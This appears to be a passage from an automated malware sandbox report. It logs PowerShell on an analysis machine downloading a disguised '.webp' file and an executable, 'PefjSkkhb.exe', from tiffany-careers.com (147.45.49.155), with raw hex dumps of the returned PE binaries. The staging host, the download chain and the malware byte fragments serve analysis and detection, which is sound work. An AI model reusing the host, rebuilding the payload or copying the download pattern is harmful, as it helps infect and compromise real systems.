                                                                                                                                                                          alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
                                                                                                                                                                          connection: close
                                                                                                                                                                          2024-12-23 07:39:53 UTC16384INData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 13 b2 ed 95 57 d3 83 c6 57 d3 83 c6 57 d3 83 c6 43 b8 86 c7 56 d3 83 c6 43 b8 80 c7 55 d3 83 c6 43 b8 87 c7 43 d3 83 c6 43 b8 82 c7 50 d3 83 c6 57 d3 82 c6 73 d3 83 c6 43 b8 8a c7 56 d3 83 c6 43 b8 7c c6 56 d3 83 c6 43 b8 81 c7 56 d3 83 c6 52 69 63 68 57 d3 83 c6 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 43 9e 30 35 00 00 00
                                                                                                                                                                          Data Ascii: MZ@!L!This program cannot be run in DOS mode.$WWWCVCUCCCPWsCVC|VCVRichWPELC05
                                                                                                                                                                          2024-12-23 07:39:53 UTC16384INData Raw: 32 2e 64 6c 6c 00 00 6f 00 5f 58 63 70 74 46 69 6c 74 65 72 00 c9 00 5f 5f 70 5f 5f 63 6f 6d 6d 6f 64 65 00 00 11 01 5f 61 6d 73 67 5f 65 78 69 74 00 00 a1 00 5f 5f 67 65 74 6d 61 69 6e 61 72 67 73 00 e2 00 5f 5f 73 65 74 5f 61 70 70 5f 74 79 70 65 00 00 ae 04 65 78 69 74 00 00 73 01 5f 65 78 69 74 00 24 01 5f 63 65 78 69 74 00 00 ce 00 5f 5f 70 5f 5f 66 6d 6f 64 65 00 00 07 02 5f 69 73 6d 62 62 6c 65 61 64 00 00 e4 00 5f 5f 73 65 74 75 73 65 72 6d 61 74 68 65 72 72 00 00 e8 01 5f 69 6e 69 74 74 65 72 6d 00 f7 00 5f 61 63 6d 64 6c 6e 00 35 00 3f 74 65 72 6d 69 6e 61 74 65 40 40 59 41 58 58 5a 00 6d 73 76 63 72 74 2e 64 6c 6c 00 00 37 01 5f 63 6f 6e 74 72 6f 6c 66 70 00 00 6a 01 5f 65 78 63 65 70 74 5f 68 61 6e 64 6c 65 72 34 5f 63 6f 6d 6d 6f 6e 00 7f 05
                                                                                                                                                                          Data Ascii: 2.dllo_XcptFilter__p__commode_amsg_exit__getmainargs__set_app_typeexits_exit$_cexit__p__fmode_ismbblead__setusermatherr_initterm_acmdln5?terminate@@YAXXZmsvcrt.dll7_controlfpj_except_handler4_common
                                                                                                                                                                          2024-12-23 07:39:53 UTC16384INData Raw: 2c 50 7a 2c 75 70 2c 6d 68 2c 47 76 2c 66 4c 2c 75 70 2c 6d 68 2c 47 76 2c 50 7a 2c 50 7a 2c 6d 68 2c 47 76 2c 44 45 2c 6b 62 2c 6d 68 2c 47 76 2c 56 74 2c 66 4c 2c 6d 68 2c 47 76 2c 50 7a 2c 42 45 2c 6d 68 2c 47 76 2c 50 7a 2c 54 70 2c 6d 68 2c 47 76 2c 56 74 2c 6b 62 2c 6d 68 2c 47 76 2c 56 74 2c 70 42 2c 6d 68 2c 47 76 2c 66 4c 2c 54 70 2c 6d 68 2c 47 76 2c 50 7a 2c 50 7a 2c 6d 68 2c 47 76 2c 50 7a 2c 75 70 2c 6d 68 2c 47 76 2c 50 7a 2c 75 70 2c 6d 68 2c 47 76 2c 56 74 2c 66 4c 2c 6d 68 2c 47 76 2c 50 7a 2c 44 45 2c 6d 68 2c 47 76 2c 56 74 2c 66 4c 2c 6d 68 2c 47 76 2c 56 74 2c 56 74 2c 6d 68 2c 47 76 2c 50 7a 2c 50 7a 2c 6d 68 2c 47 76 2c 50 7a 2c 47 76 2c 6d 68 2c 47 76 2c 50 7a 2c 75 70 2c 6d 68 2c 47 76 2c 50 7a 2c 75 70 2c 6d 68 2c 47 76 2c 50 7a
                                                                                                                                                                          Data Ascii: ,Pz,up,mh,Gv,fL,up,mh,Gv,Pz,Pz,mh,Gv,DE,kb,mh,Gv,Vt,fL,mh,Gv,Pz,BE,mh,Gv,Pz,Tp,mh,Gv,Vt,kb,mh,Gv,Vt,pB,mh,Gv,fL,Tp,mh,Gv,Pz,Pz,mh,Gv,Pz,up,mh,Gv,Pz,up,mh,Gv,Vt,fL,mh,Gv,Pz,DE,mh,Gv,Vt,fL,mh,Gv,Vt,Vt,mh,Gv,Pz,Pz,mh,Gv,Pz,Gv,mh,Gv,Pz,up,mh,Gv,Pz,up,mh,Gv,Pz
                                                                                                                                                                          2024-12-23 07:39:53 UTC16384INData Raw: 56 74 2c 6d 68 2c 47 76 2c 66 4c 2c 75 70 2c 6d 68 2c 47 76 2c 56 74 2c 70 42 2c 6d 68 2c 47 76 2c 50 7a 2c 75 70 2c 6d 68 2c 47 76 2c 50 7a 2c 42 45 2c 6d 68 2c 47 76 2c 50 7a 2c 47 76 2c 6d 68 2c 47 76 2c 50 7a 2c 56 74 2c 6d 68 2c 47 76 2c 66 4c 2c 75 70 2c 6d 68 2c 47 76 2c 66 4c 2c 75 70 2c 6d 68 2c 47 76 2c 56 74 2c 70 42 2c 6d 68 2c 47 76 2c 66 4c 2c 54 70 2c 6d 68 2c 47 76 2c 50 7a 2c 50 7a 2c 6d 68 2c 47 76 2c 56 74 2c 6b 62 2c 6d 68 2c 47 76 2c 50 7a 2c 44 45 2c 6d 68 2c 47 76 2c 50 7a 2c 54 70 2c 6d 68 2c 47 76 2c 50 7a 2c 42 45 2c 6d 68 2c 47 76 2c 50 7a 2c 54 70 2c 6d 68 2c 47 76 2c 50 7a 2c 70 42 2c 6d 68 2c 47 76 2c 56 74 2c 70 42 2c 6d 68 2c 47 76 2c 44 45 2c 6b 62 2c 6d 68 2c 47 76 2c 66 4c 2c 54 70 2c 6d 68 2c 47 76 2c 50 7a 2c 54 70 2c
                                                                                                                                                                          Data Ascii: Vt,mh,Gv,fL,up,mh,Gv,Vt,pB,mh,Gv,Pz,up,mh,Gv,Pz,BE,mh,Gv,Pz,Gv,mh,Gv,Pz,Vt,mh,Gv,fL,up,mh,Gv,fL,up,mh,Gv,Vt,pB,mh,Gv,fL,Tp,mh,Gv,Pz,Pz,mh,Gv,Vt,kb,mh,Gv,Pz,DE,mh,Gv,Pz,Tp,mh,Gv,Pz,BE,mh,Gv,Pz,Tp,mh,Gv,Pz,pB,mh,Gv,Vt,pB,mh,Gv,DE,kb,mh,Gv,fL,Tp,mh,Gv,Pz,Tp,
                                                                                                                                                                          2024-12-23 07:39:53 UTC12230INData Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff f0 1f ff ff c0 03 ff ff 00 00 ff fe 00 00 7f fc 00 00 3f f8 00 00 1f f8 00 00 1f f0 00 00 0f 80 00 00 0f 80 00 00 07 00 00 00 03 00 00 00 01 80 00 00 01 80 00 00 01 80 00 00 01 c0 00 00 01 c0 00 00 03 c0 00 00 07 e0 00 00 07 f8 00 00 1f f8 00 00 1f fc 00 00 3f fe 00 00 7f ff 00 00 ff ff c0 03 ff ff f8 1f ff ff ff ff ff ff ff ff ff ff ff ff ff 28 00 00 00 10 00 00 00 20 00 00 00 01 00 04 00 00 00 00 00 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 80 00 00 00 80 80 00 80 00 00 00 80 00 80 00 80 80 00 00 c0 c0 c0 00 80 80 80 00 00 00 ff 00 00 ff 00 00 00 ff ff 00 ff 00 00 00 ff 00 ff 00 ff ff 00 00 ff ff ff 00 00 00 08 80 00 00 00 00
                                                                                                                                                                          Data Ascii: ??(


                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                          1192.168.2.949735147.45.49.1554431820C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                          2024-12-23 07:39:57 UTC82OUTGET /New_2025.webp HTTP/1.1
                                                                                                                                                                          Host: tiffany-careers.com
                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                          2024-12-23 07:39:57 UTC502INHTTP/1.1 200 OK
                                                                                                                                                                          cache-control: public, max-age=604800
                                                                                                                                                                          expires: Mon, 30 Dec 2024 07:39:57 GMT
                                                                                                                                                                          etag: "2ddde-675eff09-25386;;;"
                                                                                                                                                                          last-modified: Sun, 15 Dec 2024 16:08:41 GMT
                                                                                                                                                                          content-type: image/webp
                                                                                                                                                                          content-length: 187870
                                                                                                                                                                          accept-ranges: bytes
                                                                                                                                                                          date: Mon, 23 Dec 2024 07:39:57 GMT
                                                                                                                                                                          server: LiteSpeed
                                                                                                                                                                          alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
                                                                                                                                                                          connection: close
                                                                                                                                                                          2024-12-23 07:39:57 UTC16384INData Raw: 52 49 46 46 d6 dd 02 00 57 45 42 50 56 50 38 20 ca dd 02 00 30 b5 09 9d 01 2a b0 04 20 03 3e 49 20 8c 45 22 a2 21 21 27 b4 0c 90 50 09 09 65 69 a5 b5 99 3d 38 bf 39 79 ff 5c ff 93 c8 05 89 fd 47 da a2 17 44 b2 23 6d 0f 1e ea eb e0 0d d5 ff f8 5e a5 df e8 3d 4a 3f 7a ee 50 e9 7f da fd 80 3f 98 ff 73 ff b3 e6 17 cc 0d a2 6a 38 7f 8f e3 d3 f6 2f f7 3e a2 b1 7c be 06 ac 60 6f 87 ff 77 cf 5b 99 7c a9 fb 37 e4 ff d0 fb b5 7f 83 e9 9b cd 9f 69 ff 9f f5 5d f0 57 d1 ff f5 7f c8 fe 4b 7c fd ff c3 eb 7f fb ef fc 7f 61 2f ed 5f eb 3f 69 fd ed fa 6b ff 77 ff b3 d5 0f ee 6f ed 97 bb 77 fd 8f fd 7f f3 bf 7d fe 68 7f 62 ff 65 ff 73 fd 67 fc 8f fd 1f 41 1f cf 3f b7 ff d4 fc f5 f9 a4 ff d5 ff a3 dd f3 fb 6f fe 1f fd bf f0 3e 06 bf 9a ff 93 ff 95 f9 cf f3 47 ff bf f7 37 fe
                                                                                                                                                                          Data Ascii: RIFFWEBPVP8 0* >I E"!!'Pei=89y\GD#m^=J?zP?sj8/>|`ow[|7i]WK|a/_?ikwow}hbesgA?o>G7
                                                                                                                                                                          2024-12-23 07:39:57 UTC16384INData Raw: b5 b9 9f 93 89 a6 3f 76 ba dc 0b ab 26 87 ca af f8 05 42 dc eb 24 25 ee 06 00 bd c2 65 db eb 7e 4c 72 64 41 e2 a1 a4 97 a6 22 a3 f7 56 86 86 af d7 d9 85 3a 7b 3e a1 03 a8 ff 4b 9b fb 29 66 b5 50 45 3f bf 69 1f d2 1e e9 3a 82 3c 36 d6 3f 63 ac be cb 6d bf 15 0f 9a 8f 3e 43 f1 f8 a3 e2 a0 39 ee 6a 3d 4f 03 bd 11 0a ca 20 86 86 2f a7 7b 42 ee f9 5a 50 3f 7b 8a 94 81 83 e9 e0 f0 80 ee 64 f3 01 21 73 ae f6 68 c8 df 3d 41 bb ad 9a b5 46 f5 97 82 a8 63 1c 61 48 6f 6e 2e c6 df 74 b7 e2 aa 21 26 d5 07 81 d5 88 1c 37 4a 01 e2 5f 29 75 e4 3f 6d 06 f1 a4 bd c1 e9 77 74 26 fd 10 8b 35 6c 3c 59 e3 fe fa fe 78 4c f0 70 c4 27 44 5f d9 84 c4 7a 20 cb 62 4d 0d 70 8c 59 f5 0b c9 b3 49 c3 17 fe 09 f4 8b 56 9e 76 1a e0 55 76 97 e3 63 ed c5 e8 af 9e aa 0d 2b ac bf 8f a6 03 2f
                                                                                                                                                                          Data Ascii: ?v&B$%e~LrdA"V:{>K)fPE?i:<6?cm>C9j=O /{BZP?{d!sh=AFcaHon.t!&7J_)u?mwt&5l<YxLp'D_z bMpYIVvUvc+/
                                                                                                                                                                          2024-12-23 07:39:58 UTC16384INData Raw: 1b 23 a4 61 d6 c4 09 75 ab 97 ec b2 84 c4 9c 53 9c 01 5b 3a 50 bd 39 c7 23 0f 24 63 6c 78 33 98 22 84 c7 6e 0c f3 9a ab a4 1c 62 ea 01 04 01 64 5d 09 11 1d 5f 58 06 a2 8d 7d f4 35 db 55 39 cb 69 fd 98 1b e3 1b 94 48 fe 95 3a d5 54 80 22 44 50 61 1d 3e dd 90 aa 3f a4 23 00 b2 41 27 86 89 80 87 dc 51 47 6b be f2 f7 f1 67 8a f5 53 c5 38 22 9a 60 60 33 b1 7d ee 9f ff 1a 31 93 e1 95 78 71 d1 16 8e 45 32 a6 ca 92 37 c7 64 10 35 a7 4a 08 c6 34 20 86 4c e5 24 45 ac 57 23 3b f9 f1 8a 89 e7 09 44 54 0d ac 8c 5f 36 28 24 b0 c6 27 bc be c6 87 6e e6 cd df 39 7f 6c 33 fc 80 8c 56 9e bd 65 db 05 51 94 f9 c0 a5 69 b2 0f 99 33 2d 36 6d a9 eb 04 c6 7d cd 8b 0b 19 7b ae 94 72 2b 0b cb ae b3 0a cc 92 cc 46 41 88 84 88 9f 3a 39 bb 43 78 28 20 89 57 fc 6f 64 68 a3 66 05 9c 4d
                                                                                                                                                                          Data Ascii: #auS[:P9#$clx3"nbd]_X}5U9iH:T"DPa>?#A'QGkgS8"``3}1xqE27d5J4 L$EW#;DT_6($'n9l3VeQi3-6m}{r+FA:9Cx( WodhfM
                                                                                                                                                                          2024-12-23 07:39:58 UTC16384INData Raw: f5 ce 22 dd c5 24 36 71 b0 1d f5 b6 e5 60 fa d5 ea 8b db c2 44 7f 18 4a 16 a7 42 5f 8a 33 2b 1f dc 72 40 20 d6 95 55 d0 90 3b 5f 5b 63 9b a8 ec b9 ab 04 5f 19 4e 62 0a eb 5e ac 28 a8 9d a8 51 ad 55 98 b4 41 b4 20 e8 96 64 53 ef 26 3e 95 6a b9 17 0a 4d 77 12 73 b6 93 3b 7d 5f c1 d4 71 ea 95 b6 56 f5 d3 4b fa f2 53 d7 63 3f e4 c8 a7 c1 bc f1 bc 45 39 15 db f5 eb 6c 67 4f 9b be 1c 26 8c e3 f4 b5 57 b3 aa 56 9c 2d b5 8c dc 00 17 17 95 09 22 a3 98 6a ed 65 95 38 34 02 d3 3e ef f4 5a 18 92 d6 e9 73 46 69 c9 45 f9 0e 7e 4e bc d6 b7 2d 6a b5 b7 72 e0 34 a4 0e f7 35 3a f0 60 4b 7f 07 2a 93 82 69 3c 4f b0 27 aa 9d 5c 71 fd 77 2a f5 4c 7c e2 0c d7 af 06 ca 5a e4 9c 96 61 7c e0 4c 20 99 48 f4 7f 7d 75 6d 24 50 aa ea 17 9d 9a 49 58 c6 e5 6c a0 26 b1 a4 8a 8c 82 60 c8
                                                                                                                                                                          Data Ascii: "$6q`DJB_3+r@ U;_[c_Nb^(QUA dS&>jMws;}_qVKSc?E9lgO&WV-"je84>ZsFiE~N-jr45:`K*i<O'\qw*L|Za|L H}um$PIXl&`
                                                                                                                                                                          2024-12-23 07:39:58 UTC16384INData Raw: bb 37 7b a2 49 26 91 11 e4 10 11 29 95 48 54 78 cc 29 f7 4a 72 9f 01 e6 fc 99 01 69 2c be 99 50 f7 86 d7 0d c5 04 6b 83 eb fd 21 e4 f5 f8 d1 9d e1 9b 13 dd 91 06 22 bf 6b 5f fc 8c ff 4c a5 49 58 44 68 67 11 6a 31 11 3a 82 7d b2 c8 22 4f e8 20 a4 30 eb a4 ee b0 b7 87 f5 c0 3c a1 9e 58 52 ac 66 6f 66 57 5a 26 a9 a7 28 b8 6c c5 f8 89 14 31 fb ef 80 90 b2 8a b8 70 1f 09 41 f8 4f 2b 32 a2 bf 75 59 0d 73 01 22 9f 1f dd cf 5e 15 0b 65 81 b2 86 69 39 b4 7a 26 90 cd 27 d9 be 90 7a 1d 4c 3a 30 f8 3c 36 fc 8f 92 64 7b b0 58 cb 53 f1 69 6e 3c 3a 02 e6 11 7a bb 09 c2 6a 8c aa e5 52 ca 62 f6 eb 0b 2a 41 da 3d 87 b2 f9 6d f7 98 2e 20 2b 7a 2c b5 53 2b 6e dc 04 f6 4c 2f 07 1e 04 7c c8 c9 b7 f5 f9 b0 80 4a 00 a9 10 d7 f1 ca ad 56 7b 33 13 1a f2 ea ab b1 06 2c 8f 96 42 36
                                                                                                                                                                          Data Ascii: 7{I&)HTx)Jri,Pk!"k_LIXDhgj1:}"O 0<XRfofWZ&(l1pAO+2uYs"^ei9z&'zL:0<6d{XSin<:zjRb*A=m. +z,S+nL/|JV{3,B6
                                                                                                                                                                          2024-12-23 07:39:58 UTC16384INData Raw: 34 18 fa c3 3e 55 8b f1 c1 b8 36 b2 25 8f e1 bf d7 09 70 69 7f 7b bd 32 d2 81 ba ec 6a ce 7e 49 16 63 fa 81 be a5 0e d3 f8 bc 1b ce db bf 1c 2d f2 93 4d bf 75 3d fd db e1 18 a6 a2 ef 20 81 65 43 df b8 b2 e4 2b 16 88 72 e6 35 03 7e 8d 8a ef d9 a6 a5 86 4c a6 f5 c6 f7 ea 96 ce c2 d7 cc 7c 26 ff b7 86 7a a3 c9 6e 26 d3 fc ec 33 a2 40 6e 04 0e 1a 69 bb 76 ba 12 79 d5 cb ff f8 dd 8f ca ea 7a 39 0c 2e 26 18 b4 d9 44 a8 85 d1 d4 e6 f4 8f 56 07 c8 e7 9a 4e d3 bb 47 4f 4e 82 4c 4d d3 b0 6f b2 1e a3 01 e1 d7 32 1b 9c c8 2c ec 5c 04 e9 22 db 70 5a 4d 6b a4 77 38 17 ad 23 49 92 ce a3 93 de 4e b5 cb 76 09 74 2e d3 73 de a4 45 0d ac e1 9a db 42 24 57 ef 24 5a 96 40 31 05 e4 01 3b fa 39 31 67 e6 44 ba ba 8b fd b2 62 41 2d fa b8 c7 5d 72 3f 9b 59 17 06 cb a4 af 26 cf 1a
                                                                                                                                                                          Data Ascii: 4>U6%pi{2j~Ic-Mu= eC+r5~L|&zn&3@nivyz9.&DVNGONLMo2,\"pZMkw8#INvt.sEB$W$Z@1;91gDbA-]r?Y&
                                                                                                                                                                          2024-12-23 07:39:58 UTC16384INData Raw: 38 e1 a5 4b e4 5e 6a 5c 3d 37 a2 79 4c b3 c3 af b0 2e d6 da d9 a4 e0 be 31 55 1c 91 c0 d1 5e 2f 62 47 0a 28 ff 5e ef 5b db 90 6d c6 4b 7d 79 f9 66 7a 4b 57 b1 6e 11 e2 1d 70 e2 c6 9a c3 fd 2f 8b 40 54 1d 03 f9 99 09 ef e6 d3 1f 40 20 0f 94 c2 c7 f1 3c 71 ce 11 fd 3d 30 95 d5 89 30 c5 5f 80 f0 06 a1 4b fe 21 22 b7 6e f4 82 65 b6 9d 74 e7 92 42 d9 25 01 9a 45 e1 eb 8f 07 4b 1d 9c d8 93 a5 27 6c c1 2e 57 87 81 32 fd f6 bc e5 f4 ef 45 17 ad e9 61 4e 56 8c c6 3f fc 8b 17 51 68 e2 4a bc a5 ef 94 e5 7d 9a 81 96 78 e5 a9 42 54 39 da b6 f5 0f ae e5 c1 64 46 0a c3 9d 62 ca 0a 89 2a e0 6c 9f 79 b4 38 3d 3e e9 85 db e4 dd e1 4c 3d ac c8 56 d9 00 72 20 52 95 bb 46 49 f0 d5 74 a4 39 82 22 29 e2 8a 8c a0 c2 d9 63 81 ae 80 e8 04 a6 8a 62 16 e1 bc 49 f2 c8 ce d2 b8 bf d7
                                                                                                                                                                          Data Ascii: 8K^j\=7yL.1U^/bG(^[mK}yfzKWnp/@T@ <q=00_K!"netB%EK'l.W2EaNV?QhJ}xBT9dFb*ly8=>L=Vr RFIt9")cbI
                                                                                                                                                                          2024-12-23 07:39:58 UTC16384INData Raw: 76 1d c8 c3 1c 3b 16 78 88 cc de 66 fc 90 c0 c0 b3 c1 6a fe fe b5 48 1b b6 1b 96 f2 68 58 b2 88 ae c5 6a 2a c6 a2 9b 4f a7 0b d5 60 53 7b db 37 3b f7 ed d1 2d 0d 29 b2 a8 f7 cb 7f 81 5d 7d d3 8e 25 cd 45 19 e7 d1 03 48 f5 21 79 f0 32 bc 8e 57 91 16 fe 93 71 2b 42 48 22 f6 09 37 2d 5a ca ee a9 1e 03 29 e4 d3 a7 f8 e3 25 22 5a d1 d0 a2 32 a5 4d 59 e8 1d b5 72 41 dc 1d 8e aa 10 11 a3 87 2e 67 c1 cc aa 88 48 1b 0c e5 21 1e c0 c0 06 b7 6f 00 15 c5 88 25 87 36 39 f6 33 81 55 9f 3b f6 84 41 c3 2f cd f2 fa 8c 52 0d 88 22 01 29 28 fd bd 23 8a 5b bb 60 84 cd b1 ac 10 05 ee b2 95 25 ad 0a 98 a8 5b 43 c2 e4 d0 b2 6b cc d3 5a 04 ad ea 6c 89 5d c5 46 81 9e 2e 4a a3 af e9 63 88 c1 e7 d2 d5 13 32 fc 34 16 2e e3 4f d0 52 2e 6f d9 97 86 88 c8 9c 3e 2e 1e c2 50 69 3b eb 67
                                                                                                                                                                          Data Ascii: v;xfjHhXj*O`S{7;-)]}%EH!y2Wq+BH"7-Z)%"Z2MYrA.gH!o%693U;A/R")(#[`%[CkZl]F.Jc24.OR.o>.Pi;g
                                                                                                                                                                          2024-12-23 07:39:58 UTC16384INData Raw: a3 b0 91 18 83 e7 d0 67 25 94 6d 59 41 15 80 a4 3d 41 52 a6 c5 af 00 3d ef 0a fa 71 f9 95 7b 58 46 fa a0 8e da eb 6e 64 03 9c 1f 3a dd b6 57 69 57 da a0 e3 9d bb 10 ef 4a af 79 56 18 72 42 2b 6a 39 ee d3 2c 85 c2 56 ea 4e 6c 2b ae 6a 76 b1 f0 b5 54 ac 7d d1 61 b1 34 85 88 34 f7 01 82 7c ab 6b 11 ee 7c 07 b9 38 4c df 18 91 3e 58 08 a2 ce b8 e4 e7 22 39 f1 33 19 d5 aa 90 6e b8 26 d1 61 b3 17 27 25 2e 78 dc db fc 27 70 1e d1 a5 ca f7 29 9d 64 eb dd da 5a 25 48 1c 53 cd 85 8f e1 f2 2f 2b c1 04 d6 09 52 60 bc 6c 58 be aa e9 71 d5 3f 39 d0 5f ac 95 17 b7 60 3f 8d 54 c4 9b b8 3f b6 3b 53 a7 18 48 b0 b9 77 6f 6e 81 e5 5a 3d ad 5f 2d c4 e1 07 b6 0c e8 21 0f 09 94 03 a1 85 9d a2 c2 f0 b8 50 b0 5e e0 a4 93 2b f0 43 3a 23 34 37 58 ed 18 15 0a b6 98 4d 34 58 bd e4 42
                                                                                                                                                                          Data Ascii: g%mYA=AR=q{XFnd:WiWJyVrB+j9,VNl+jvT}a44|k|8L>X"93n&a'%.x'p)dZ%HS/+R`lXq?9_`?T?;SHwonZ=_-!P^+C:#47XM4XB
                                                                                                                                                                          2024-12-23 07:39:58 UTC16384INData Raw: 22 06 4d e4 1c cc c8 b4 e1 db a1 51 51 28 42 e9 8a 52 5f 21 7b 0e 49 24 b9 cd d3 a2 c8 86 2c 2e 91 09 5b d4 d7 de 8b 11 db 03 6b b1 b7 4b ca 64 cf a1 55 30 f5 f4 b0 29 99 e9 2e 30 1c d2 d5 7e 14 c2 85 aa c2 34 1f e8 e4 7e 3e e3 53 22 46 0d 71 e1 d5 7f 64 1d 27 67 15 aa a3 49 1f 6d 64 0a ad b5 d9 86 e2 da 9b 0f bb e3 4e a9 df 9b 29 e3 1c c6 20 9c ce 9e 68 34 1d 9d c0 33 1e 9b ab 0f b5 6f 8b ba c4 5c 54 85 4d fb cd 4d 76 b4 60 f7 38 57 7d 65 11 cf 10 fe c4 22 0d 8b de 48 98 20 fb 2f 82 92 41 6a 56 93 cb dd 5d b6 10 af e1 6c e1 3a 03 80 8a 81 87 df 6d 86 da 71 85 85 d0 95 34 c8 a4 92 a2 9b c1 35 49 da a0 c3 6c 2e 0e de 35 db 85 54 53 c0 38 4b 41 ac a6 b3 19 50 4c f9 49 44 da 5c 96 8d 2d bb 54 9c c5 05 cd 3f d7 d0 93 58 e7 c8 fa 90 20 b3 ce db 9b 9b d5 18 52
                                                                                                                                                                          Data Ascii: "MQQ(BR_!{I$,.[kKdU0).0~4~>S"Fqd'gImdN) h43o\TMMv`8W}e"H /AjV]l:mq45Il.5TS8KAPLID\-T?X R


                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                          2192.168.2.949748147.45.49.1554431820C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                          2024-12-23 07:40:00 UTC58OUTGET /PefjSkkhb.exe HTTP/1.1
                                                                                                                                                                          Host: tiffany-careers.com
                                                                                                                                                                          2024-12-23 07:40:00 UTC439INHTTP/1.1 200 OK
                                                                                                                                                                          etag: "108a00-675eb102-2534d;;;"
                                                                                                                                                                          last-modified: Sun, 15 Dec 2024 10:35:46 GMT
                                                                                                                                                                          content-type: application/x-executable
                                                                                                                                                                          content-length: 1083904
                                                                                                                                                                          accept-ranges: bytes
                                                                                                                                                                          date: Mon, 23 Dec 2024 07:40:00 GMT
                                                                                                                                                                          server: LiteSpeed
                                                                                                                                                                          alt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
                                                                                                                                                                          connection: close
                                                                                                                                                                          2024-12-23 07:40:00 UTC16384INData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6f 31 29 eb 2b 50 47 b8 2b 50 47 b8 2b 50 47 b8 9f cc b6 b8 3e 50 47 b8 9f cc b4 b8 b7 50 47 b8 9f cc b5 b8 0a 50 47 b8 b5 f0 80 b8 2a 50 47 b8 79 38 42 b9 05 50 47 b8 79 38 43 b9 3a 50 47 b8 79 38 44 b9 23 50 47 b8 22 28 c4 b8 23 50 47 b8 22 28 c0 b8 2a 50 47 b8 22 28 d4 b8 0e 50 47 b8 2b 50 46 b8 06 52 47 b8 8e 39 49 b9 7b 50 47 b8 8e 39 44 b9 2a 50 47 b8 8e 39 b8 b8 2a 50 47
                                                                                                                                                                          Data Ascii: MZ@0!L!This program cannot be run in DOS mode.$o1)+PG+PG+PG>PGPGPG*PGy8BPGy8C:PGy8D#PG"(#PG"(*PG"(PG+PFRG9I{PG9D*PG9*PG
                                                                                                                                                                          2024-12-23 07:40:00 UTC16384INData Raw: c0 48 8d 45 20 48 8b d6 4c 8d 45 28 48 89 44 24 20 e8 5e f5 ff ff 85 c0 0f 88 96 70 04 00 48 8d 4d c0 e8 55 54 00 00 44 8b 45 20 e9 00 ff ff ff 48 8d 0d f9 ba 0e 00 e8 5c 09 00 00 33 c0 4c 8d 5c 24 70 49 8b 5b 30 49 8b 73 38 49 8b e3 41 5f 41 5e 5d c3 48 89 5c 24 08 48 89 7c 24 10 55 48 8b ec 48 83 ec 70 41 8b 18 45 33 db ff cb 44 89 5d c8 4c 8b d1 89 5d b4 49 8b f8 4c 89 5d d0 c7 45 d8 01 00 00 00 41 8b cb 44 89 5d e0 45 8a cb 4c 89 5d e8 c7 45 f0 01 00 00 00 c7 45 b0 02 00 00 00 44 8b 07 41 8b d0 41 8d 40 01 89 07 e8 75 06 00 00 48 85 c0 74 2c 45 84 c9 75 27 48 8b 40 08 48 8b 10 66 44 39 5a 08 75 d7 8b 12 83 ea 0b 74 4f 83 fa 01 75 cb 85 c9 75 42 44 8a ca 44 89 45 b8 eb be 49 8d 8a 68 02 00 00 48 8d 55 b0 e8 98 07 00 00 8d 43 01 48 8d 4d e0 89 07 e8 de
                                                                                                                                                                          Data Ascii: HE HLE(HD$ ^pHMUTDE H\3L\$pI[0Is8IA_A^]H\$H|$UHHpAE3D]L]IL]EAD]EL]EEDAA@uHt,Eu'H@HfD9ZutOuuBDDEIhHUCHM
